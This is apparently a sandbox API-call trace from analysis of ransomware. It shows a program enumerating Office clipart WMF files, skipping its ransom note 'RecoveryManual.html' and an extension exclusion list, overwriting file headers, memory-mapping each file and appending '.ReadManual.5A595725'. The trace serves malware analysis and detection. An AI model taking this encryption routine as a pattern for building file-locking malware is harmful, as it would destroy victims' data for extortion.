1 [0269.352] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x37de, lpName=0x0) returned 0x184 [0269.352] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.353] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.353] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.355] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.355] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x37de) returned 0x2f0000 [0269.355] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.355] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39002381844) returned 1 [0269.355] CloseHandle (hObject=0x184) returned 1 [0269.355] SetSecurityInfo () returned 0x57 [0269.355] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.355] CloseHandle (hObject=0x194) returned 1 [0269.355] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0269.355] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0294991.WMF" | out: lpString1="J0294991.WMF") returned="J0294991.WMF" [0269.355] lstrcmpiW (lpString1="J0294991.WMF", lpString2="RecoveryManual.html") returned -1 [0269.355] StrStrIW (lpFirst="J0294991.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.356] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.356] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.356] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" [0269.356] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.ReadManual.5A595725" [0269.356] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.ReadManual.5A595725") returned 87 [0269.356] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39002480227) returned 1 [0269.356] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf")) returned 0x20 [0269.356] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.357] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=24960) returned 1 [0269.357] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6180, lpName=0x0) returned 0x184 [0269.357] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.357] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.357] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.361] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.361] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6180) returned 0x2f0000 [0269.362] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.362] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39003067278) returned 1 [0269.362] CloseHandle (hObject=0x184) returned 1 [0269.362] SetSecurityInfo () returned 0x57 [0269.362] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.362] CloseHandle (hObject=0x194) returned 1 [0269.362] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0269.362] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0295069.WMF" | out: lpString1="J0295069.WMF") returned="J0295069.WMF" [0269.362] lstrcmpiW (lpString1="J0295069.WMF", lpString2="RecoveryManual.html") returned -1 [0269.362] StrStrIW (lpFirst="J0295069.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.362] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.362] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.362] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.362] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.362] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.362] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.363] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.363] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" [0269.363] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.ReadManual.5A595725" [0269.363] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.ReadManual.5A595725") returned 87 [0269.363] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39003160541) returned 1 [0269.363] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf")) returned 0x20 [0269.364] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.364] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8626) returned 1 [0269.364] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21b2, lpName=0x0) returned 0x184 [0269.364] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.371] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.371] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.373] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.373] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21b2) returned 0x2f0000 [0269.373] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.374] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39004229612) returned 1 [0269.374] CloseHandle (hObject=0x184) returned 1 [0269.374] SetSecurityInfo () returned 0x57 [0269.374] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.374] CloseHandle (hObject=0x194) returned 1 [0269.374] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0269.374] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0296277.WMF" | out: lpString1="J0296277.WMF") returned="J0296277.WMF" [0269.374] lstrcmpiW (lpString1="J0296277.WMF", lpString2="RecoveryManual.html") returned -1 [0269.374] StrStrIW (lpFirst="J0296277.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.374] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.374] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.374] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" [0269.374] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.ReadManual.5A595725" [0269.374] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.ReadManual.5A595725") returned 87 [0269.374] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39004323246) returned 1 [0269.375] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf")) returned 0x20 [0269.375] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.375] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=58412) returned 1 [0269.375] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe42c, lpName=0x0) returned 0x184 [0269.375] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.376] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.376] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.377] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.377] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe42c) returned 0x2f0000 [0269.379] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.379] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39004808006) returned 1 [0269.379] CloseHandle (hObject=0x184) returned 1 [0269.379] SetSecurityInfo () returned 0x57 [0269.380] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.380] CloseHandle (hObject=0x194) returned 1 [0269.380] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0269.380] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0296279.WMF" | out: lpString1="J0296279.WMF") returned="J0296279.WMF" [0269.380] lstrcmpiW (lpString1="J0296279.WMF", lpString2="RecoveryManual.html") returned -1 [0269.380] StrStrIW (lpFirst="J0296279.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.380] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.380] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.380] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" [0269.380] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.ReadManual.5A595725" [0269.380] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.ReadManual.5A595725") returned 87 [0269.380] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39004898791) returned 1 [0269.380] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf")) returned 0x20 [0269.381] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.381] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=67726) returned 1 [0269.381] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1088e, lpName=0x0) returned 0x184 [0269.381] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.382] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.382] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.384] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.384] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1088e) returned 0x1de0000 [0269.397] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.398] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39006650205) returned 1 [0269.398] CloseHandle (hObject=0x184) returned 1 [0269.398] SetSecurityInfo () returned 0x57 [0269.398] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.398] CloseHandle (hObject=0x194) returned 1 [0269.398] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0269.398] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0296288.WMF" | out: lpString1="J0296288.WMF") returned="J0296288.WMF" [0269.398] lstrcmpiW (lpString1="J0296288.WMF", lpString2="RecoveryManual.html") returned -1 [0269.398] StrStrIW (lpFirst="J0296288.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.398] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.398] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.399] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.399] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.399] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" [0269.399] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.ReadManual.5A595725" [0269.399] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.ReadManual.5A595725") returned 87 [0269.399] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39006744608) returned 1 [0269.399] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf")) returned 0x20 [0269.399] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.399] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=67564) returned 1 [0269.399] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x107ec, lpName=0x0) returned 0x184 [0269.399] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.400] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.400] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.402] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.402] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x107ec) returned 0x1de0000 [0269.405] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.405] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39007384154) returned 1 [0269.405] CloseHandle (hObject=0x184) returned 1 [0269.405] SetSecurityInfo () returned 0x57 [0269.405] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.405] CloseHandle (hObject=0x194) returned 1 [0269.405] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, 